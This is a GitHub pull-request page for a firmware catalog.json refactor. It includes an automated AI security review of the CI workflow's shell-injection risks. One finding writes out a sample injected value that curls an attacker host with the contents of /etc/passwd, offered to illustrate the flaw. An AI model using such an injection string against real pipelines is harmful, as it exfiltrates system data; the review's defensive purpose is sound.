Skip to content

catalog.json v2: drop wendy_mcu_ prefix, reconstruct it in CI - #31

Merged
gmondada merged 3 commits into
mainfrom
gab/catalog-v2
Aug 7, 2026
Merged

catalog.json v2: drop wendy_mcu_ prefix, reconstruct it in CI#31
gmondada merged 3 commits into
mainfrom
gab/catalog-v2

Conversation

@gmondada

@gmondada gmondada commented Aug 7, 2026

Copy link
Copy Markdown
Contributor

Summary

  • catalog.json bumped to v2: binaries[].name no longer carries the wendy_mcu_ prefix, board renamed to board_cfg, and a new targets array adds chip display names.
  • .github/workflows/build.yml updated to use board_cfg and to re-derive the wendy_mcu_ prefix (as matrix.asset_name) for build artifacts, release assets, and GCS publish paths, so output filenames/publish keys are unchanged.

Test plan

  • Push/PR triggers build job and confirms artifacts are still named wendy_mcu_<chip>
  • Tag push confirms nightly/release/publish jobs produce identical asset names as before

🤖 Generated with Claude Code

@github-actions

github-actions Bot commented Aug 7, 2026

Copy link
Copy Markdown

AI Security Review

This pull request performs a low-risk structural refactoring of catalog.json (dropping the wendy_mcu_ prefix from binary names and renaming the board key to board_cfg) while reconstructing the prefix inline inside the CI workflow. The changes are largely cosmetic/organisational and introduce no new secrets, authentication logic, network endpoints, or data-handling code. However, several medium-to-low security concerns are present: the GitHub Actions workflow passes JQ-derived values directly into shell commands without quoting, creating potential command-injection vectors if catalog.json were tampered with; the esp_hosted dependency is now range-pinned rather than latest, which slightly reduces automatic patch uptake; and the GCS publish loop remains a sequential shell construct that relies on externally-sourced data. No PCI DSS, HIPAA, or GDPR-specific data flows are present in this diff.

Security & Compliance Review — PR #31: catalog.json v2 prefix refactor

1. Executive Summary

This pull request performs a low-risk structural refactoring of catalog.json (dropping the wendy_mcu_ prefix from binary names and renaming the board key to board_cfg) while reconstructing the prefix inline inside the CI workflow. The changes are largely cosmetic/organisational and introduce no new secrets, authentication logic, network endpoints, or data-handling code. However, several medium-to-low security concerns are present: the GitHub Actions workflow passes JQ-derived values directly into shell commands without quoting, creating potential command-injection vectors if catalog.json were tampered with; the esp_hosted dependency is now range-pinned rather than latest, which slightly reduces automatic patch uptake; and the GCS publish loop remains a sequential shell construct that relies on externally-sourced data. No PCI DSS, HIPAA, or GDPR-specific data flows are present in this diff.


2. Findings Table

Severity Standards File Line(s) Title
HIGH SOC2-CC8, ISO27001-A.8, NIST-SI-10 .github/workflows/build.yml ~176–184 Unquoted shell expansion of JQ output enables command injection
MEDIUM SOC2-CC8, ISO27001-A.8, NIST-SI-10 .github/workflows/build.yml ~24 JQ-constructed matrix injected into GITHUB_OUTPUT without sanitisation
MEDIUM SOC2-CC9, ISO27001-A.8, NIST-SC-18 main/idf_component.yml ~12 Dependency range pin delays security patches for esp_hosted
MEDIUM SOC2-CC8, NIST-AC-3 .github/workflows/build.yml ~51–53 Unquoted matrix.target and matrix.flash_size passed to esptool.py
LOW SOC2-CC7, ISO27001-A.12 .github/workflows/build.yml ~85, 107 Hardcoded prefix string (wendy_mcu_) duplicated across workflow; no integrity check on catalog.json
LOW SOC2-CC8, ISO27001-A.8 catalog.json ~1 Breaking schema version bump lacks explicit migration/rollback documentation in-file
INFORMATIONAL NIST-SI-3 .github/workflows/build.yml ~176 publisher binary sourced from RUNNER_TEMP; provenance not verified in this diff

3. Detailed Findings


FINDING 1 — HIGH: Unquoted shell expansion of JQ output enables command injection

Standards: SOC2-CC8, ISO27001-A.8 (Secure Coding), NIST SI-10 (Input Validation)

Description:
In the publish job, jq -r '.binaries[].name' output is used directly inside an unquoted for loop variable substitution in bash. If catalog.json were modified (e.g., via a compromised dependency, a malicious PR, or a supply-chain attack on the repository), a crafted name value containing shell metacharacters (spaces, semicolons, backticks, $(…)) would be executed on the runner with the permissions of the workflow — which at this point has already obtained a GCS access token.

# Vulnerable pattern — lines ~176–184
for variant in $(jq -r '.binaries[].name' catalog.json); do
    bin="wendy_mcu_${variant}/wendy_mcu_${variant}.bin"
    echo "Publishing ${variant} v${VERSION} from ${bin}"
    "$RUNNER_TEMP/publisher" \

Risk amplification: At this stage in the workflow a live GCS TOKEN is present in the environment. Arbitrary code execution here could exfiltrate the token, overwrite GCS objects, or pivot to other Google Cloud resources.

Remediation:

  1. Switch from word-split $(…) to a while read loop to prevent word-splitting and glob expansion:
    while IFS= read -r variant; do
      bin="wendy_mcu_${variant}/wendy_mcu_${variant}.bin"done < <(jq -r '.binaries[].name' catalog.json)
  2. Validate variant against an allowlist regex before use:
    [[ "$variant" =~ ^[a-z0-9_]+$ ]] || { echo "Invalid variant: $variant"; exit 1; }
  3. Consider signing catalog.json (e.g., with cosign or a SHA-256 checksum committed separately) and verifying the signature before parsing it in CI.

FINDING 2 — MEDIUM: JQ-constructed matrix injected into GITHUB_OUTPUT without sanitisation

Standards: SOC2-CC8, ISO27001-A.8, NIST SI-10

Description:
The gen step constructs the GitHub Actions matrix by mapping .binaries through jq and writing the result directly to GITHUB_OUTPUT. The asset_name field is formed by string concatenation of "wendy_mcu_" and .name. If .name contains a newline, %0a, or %0d character it can break out of the GITHUB_OUTPUT format and inject arbitrary output variables (the classic "GitHub Actions output injection" attack vector).

echo "matrix=$(jq -c '{include: (.binaries | map(. + {asset_name: ("wendy_mcu_" + .name)}))}' catalog.json)" >> "$GITHUB_OUTPUT"

Remediation:

  1. Validate all name values in catalog.json are restricted to [a-z0-9_] before the matrix is generated.
  2. Use a dedicated step to write multi-line-safe output:
    {
      echo "matrix<<EOF_MATRIX"
      jq -c '' catalog.json
      echo "EOF_MATRIX"
    } >> "$GITHUB_OUTPUT"
    This isolates the value from the key even if the JSON contains newlines.
  3. Add a catalog.json schema-validation step (e.g., ajv or python-jsonschema) that runs before gen and rejects entries with non-alphanumeric names.

FINDING 3 — MEDIUM: Dependency range pin delays security patches for esp_hosted

Standards: SOC2-CC9 (Third-party risk), ISO27001-A.8 (Vulnerability Management), NIST SC-18

Description:
The previous wildcard "*" for espressif/esp_hosted has been replaced with ">=2.0,<3.0". While pinning to a known-good major version is better than a wildcard in terms of stability, it means security fixes released in 3.x (even if they backport to 2.x) may be missed unless the team actively monitors the upstream changelog. The comment references a migration doc but there is no automated mechanism (e.g., Dependabot, Renovate) to flag when a 2.x patch is released.

# esp_hosted 3.0 restructured its BT Kconfig (breaking change); stay on 2.x
version: ">=2.0,<3.0"

Remediation:

  1. Enable Dependabot or Renovate for idf_component.yml to receive automated PRs when new 2.x patch releases appear.
  2. Document the expected timeline for migrating to 3.x in a tracked issue.
  3. Consider tightening the pin to ">=2.0,<2.999" (effectively the same) and adding a workflow step that alerts if the installed version is outside the expected range.

FINDING 4 — MEDIUM: Unquoted matrix.target and matrix.flash_size passed to esptool.py

Standards: SOC2-CC8, ISO27001-A.8, NIST SI-10, NIST AC-3

Description:
The esptool.py invocation uses ${{ matrix.target }} and ${{ matrix.flash_size }} directly in a run: shell block without quoting or validation. These values come from catalog.json via the matrix. A tampered catalog.json with a crafted target or flash_size such as esp32c5; curl http://attacker.com/$(cat /etc/passwd) would achieve shell injection on the build runner.

esptool.py --chip ${{ matrix.target }} merge_bin \
  -o ${{ matrix.asset_name }}.bin \
  --flash_mode dio \
  --flash_size ${{ matrix.flash_size }} \
  @flash_args

Remediation:

  1. Quote all matrix variable expansions:
    esptool.py --chip "${{ matrix.target }}" merge_bin \
      -o "${{ matrix.asset_name }}.bin" \
      --flash_mode dio \
      --flash_size "${{ matrix.flash_size }}" \
      @flash_args
  2. Apply the same schema-validation step recommended in Finding 2 to ensure target matches ^esp32[a-z0-9]+$ and flash_size matches ^\d+MB$.

Note: In GitHub Actions run: steps, ${{ matrix.X }} is substituted before the shell sees the command, so quoting alone is not a complete defence — input validation at the matrix-generation stage is the primary control.


FINDING 5 — LOW: Hardcoded prefix string duplicated; no integrity check on catalog.json

Standards: SOC2-CC7, SOC2-CC8, ISO27001-A.12

Description:
The string wendy_mcu_ now appears in at least four separate locations in build.yml (matrix generation, nightly gh-release step, release files step, publish loop). This creates a maintenance risk: a future refactor that changes the prefix in one place but not others will silently produce mismatched artifact names, potentially causing a release to omit binaries with no CI failure.

Additionally, catalog.json is read multiple times across jobs without any hash or signature verification, so its integrity between the catalog job and downstream jobs depends entirely on GitHub's artifact and checkout mechanisms.

Remediation:

  1. Define the prefix as a top-level workflow environment variable or as a field in catalog.json itself (e.g., "artifact_prefix": "wendy_mcu_"), then reference it from a single location.
  2. In the catalog job, compute and output sha256sum catalog.json, and in each downstream job re-verify the checksum before parsing.

FINDING 6 — LOW: Breaking schema version bump lacks in-file migration guidance

Standards: SOC2-CC8 (Change Management), ISO27001-A.8

Description:
catalog.json version has been bumped from 1 to 2. Any consumer of this file that reads the name field or the former board key without checking version will silently break (wrong artifact names, missing board lookup). There is no $schema, no changelog entry within the file, and no backward-compatibility shim.

Remediation:

  1. Add a "schema_url" or "$schema" pointer to a JSON Schema document that consumers can validate against.
  2. Ensure all known consumers (including wendy os install tooling referenced in CI comments) perform a version check and emit a clear error for unsupported versions.
  3. Tag the repository with a catalog-v2 marker and document the breaking changes in CHANGELOG.md.

FINDING 7 — INFORMATIONAL: publisher binary sourced from RUNNER_TEMP; provenance not verified in this diff

Standards: NIST SI-3, SOC2-CC9

Description:
The publish job invokes "$RUNNER_TEMP/publisher" — a pre-downloaded binary. This diff does not show how publisher is fetched, verified, or cached. If a prior step downloads it over HTTP, without checksum/signature verification, or from a mutable URL, the binary could be substituted by an attacker with access to the download source.

"$RUNNER_TEMP/publisher" \

Remediation:

  1. Ensure the step that downloads publisher (not shown in this diff) pins to an immutable URL or Git tag and verifies a SHA-256 digest.
  2. Consider using cosign or slsa-verifier to verify a provenance attestation for the binary.

4. Compliance Summary

Framework Checked Violations Found
SOC 2 (CC6, CC7, CC8, CC9, A1, C1) Yes — CC8 (injection risk in CI), CC9 (dependency pinning)
ISO/IEC 27001:2022 (A.8, A.9, A.12) Yes — A.8 (secure coding / input validation), A.12 (no integrity check on catalog.json)
PCI DSS v4.0 ⚪ Not applicable — no payment data flows present in diff
GDPR / Privacy No violations — no PII collected, processed, or logged
HIPAA ⚪ Not applicable — no health/medical data present in diff
NIST SP 800-53 / CSF 2.0 (AC, AU, IA, SC, SI) Yes — SI-10 (input validation), SC-18 (mobile code / dependency provenance)

Overall risk posture: The diff is a low-complexity refactoring with no direct credential exposure or data-handling changes. The primary residual risk is supply-chain injection through catalog.json — if that file were tampered with (e.g., via a compromised branch, a malicious PR merged without review, or a compromised contributor account), the unquoted/unsanitised shell expansions could result in arbitrary code execution on a runner that holds live GCS credentials. Addressing Findings 1–4 would substantially reduce that attack surface.

gmondada and others added 2 commits August 7, 2026 10:03
… in CI

catalog.json (bumped to v2) now stores unprefixed chip names and renames
`board` to `board_cfg`. Update build.yml to use board_cfg and to
re-derive the wendy_mcu_ prefix for build artifacts, release assets, and
GCS publish paths so the final output names are unchanged.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
@gmondada
gmondada marked this pull request as ready for review August 7, 2026 09:08
@gmondada
gmondada merged commit 732b4cf into main Aug 7, 2026
12 checks passed
@gmondada
gmondada deleted the gab/catalog-v2 branch August 7, 2026 09:46
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant